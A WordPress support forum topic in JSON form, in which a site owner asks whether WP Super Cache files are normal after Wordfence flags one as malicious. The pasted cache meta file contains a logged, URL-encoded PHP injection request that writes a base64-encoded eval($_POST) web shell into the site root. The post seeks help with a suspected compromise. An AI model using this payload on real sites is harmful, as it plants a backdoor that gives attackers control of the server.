{"id":7391375,"date":"2016-05-18T10:09:16","date_gmt":"2016-05-18T10:09:16","guid":{"rendered":"https:\/\/wordpress.org\/support\/topic\/theres-some-php-file-inside-the-cache-folder\/"},"modified":"2016-08-31T17:46:38","modified_gmt":"2016-08-31T17:46:38","slug":"theres-some-php-file-inside-the-cache-folder","status":"publish","type":"topic","link":"https:\/\/wordpress.org\/support\/topic\/theres-some-php-file-inside-the-cache-folder\/","title":{"rendered":"There's some php file inside the cache folder."},"content":{"rendered":"

Hi to all,<\/p>\n

Just wondering if wp super cache is creating a php file inside wp-content\/cache folder and wp-content\/cache\/meta folder. When I view the folder I found the following files:<\/p>\n

\n

\nweb4@techsoftco:~\/web\/wp-content\/cache$ ls -l
\ntotal 204
\ndrwxr-xr-x 2 web4 client1 4096 Mar 24 21:46 blogs
\n-rw-r–r– 1 web4 client1 0 Mar 24 21:46 index.html
\ndrwxr-xr-x 2 web4 client1 32768 May 18 17:49 meta
\ndrwxr-xr-x 3 web4 client1 4096 May 17 08:00 supercache
\n-rw-r–r– 1 web4 client1 11216 May 18 12:41 wp-cache-0116b2d45bf7e930868582a82b0e45b8.php
\n-rw-r–r– 1 web4 client1 563 May 18 12:54 wp-cache-0bab6f84f0b659700bde02efb1e84d27.php
\n-rw-r–r– 1 web4 client1 10030 May 18 09:21 wp-cache-1b91096131554b5912d353300b1946a2.php
\n-rw-r–r– 1 web4 client1 11454 May 18 17:35 wp-cache-29e833022cf63e7537f9c6a3990856e0.php
\n-rw-r–r– 1 web4 client1 11432 May 18 14:27 wp-cache-34b074d6017b4da31279bcb71dc17782.php
\n-rw-r–r– 1 web4 client1 11416 May 18 09:23 wp-cache-43e540287096488094ab09afda6a29c5.php
\n-rw-r–r– 1 web4 client1 11415 May 18 08:17 wp-cache-4bf0df4b7bd8f620788031edd40e9551.php
\n-rw-r–r– 1 web4 client1 11401 May 18 13:12 wp-cache-57671b31ded0296935c3c86d9506741a.php
\n-rw-r–r– 1 web4 client1 6322 May 18 08:08 wp-cache-7248d01a74c8c32d71f6beb7574ba074.php
\n-rw-r–r– 1 web4 client1 11486 May 18 16:15 wp-cache-873e613033e4114e28af306d7c486e88.php
\n-rw-r–r– 1 web4 client1 6318 May 18 08:24 wp-cache-a255724b4bce9a63fcdd438a405d38f3.php
\n-rw-r–r– 1 web4 client1 11431 May 18 16:33 wp-cache-a6541337945c29c9c29339c77f35cf2a.php
\n-rw-r–r– 1 web4 client1 9838 May 18 17:49 wp-cache-ee3b22d65f6e47f840bc8d49779a9f67.php
\n-rw-r–r– 1 web4 client1 524 May 18 12:55 wp-cache-f747169fd2135ff0e5aa6691422e64a1.php
\n-rw-r–r– 1 web4 client1 11273 May 18 11:41 wp-cache-fb1e1190cde5115e99a5c5d312f55f6c.php
\n-rw-r–r– 1 web4 client1 536 May 18 09:16 wp-cache-fdc51ab19b1882875ab3dbb9abf93059.php\n<\/p>\n<\/blockquote>\n

Is this normal?<\/p>\n

I have WordFence installed and it says File appears to be malicious: wp-content\/cache\/meta\/wp-cache-1b91096131554b5912d353300b1946a2.php. Here’s the content when I opened the file:<\/p>\n

\n

\nFilename:\t\/var\/www\/clients\/client1\/web4\/web\/wp-content\/cache\/meta\/wp-cache-1b91096131554b5912d353300b1946a2.php
\nFile Size:\t1,107 bytes
\nFile last modified:\tWednesday 18th of May 2016 01:21:44 AM
\n<?php die(); ?>{“headers”:{“Content-Encoding”:”Content-Encoding: gzip”,”Vary”:”Vary: Accept-Encoding, Cookie”,”Expires”:”Expires: Thu, 19 Nov 1981 08:52:00 GMT”,”Content-Type”:”Content-Type: text\\\/html; charset=UTF-8″,”Cache-Control”:”Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0″,”Pragma”:”Pragma: no-cache”,”Last-Modified”:”Last-Modified: Wed, 18 May 2016 01:21:44 GMT”},”uri”:”uniquefacts.net\\\/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27\\\/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B”,”blog_id”:1,”post”:0,”key”:”uniquefacts.net80\\\/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27\\\/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3Bgzip”}\n<\/p>\n<\/blockquote>\n

Can anybody tell me if my site is still safe or not.<\/p>\n

Thanks<\/p>\n

https:\/\/wordpress.org\/plugins\/wp-super-cache\/<\/p>\n","protected":false},"template":"","class_list":["post-7391375","topic","type-topic","status-publish","hentry"],"jetpack_sharing_enabled":true,"_links":{"self":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/7391375","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic"}],"about":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/types\/topic"}],"version-history":[{"count":0,"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/topic\/7391375\/revisions"}],"wp:attachment":[{"href":"https:\/\/wordpress.org\/support\/wp-json\/wp\/v2\/media?parent=7391375"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}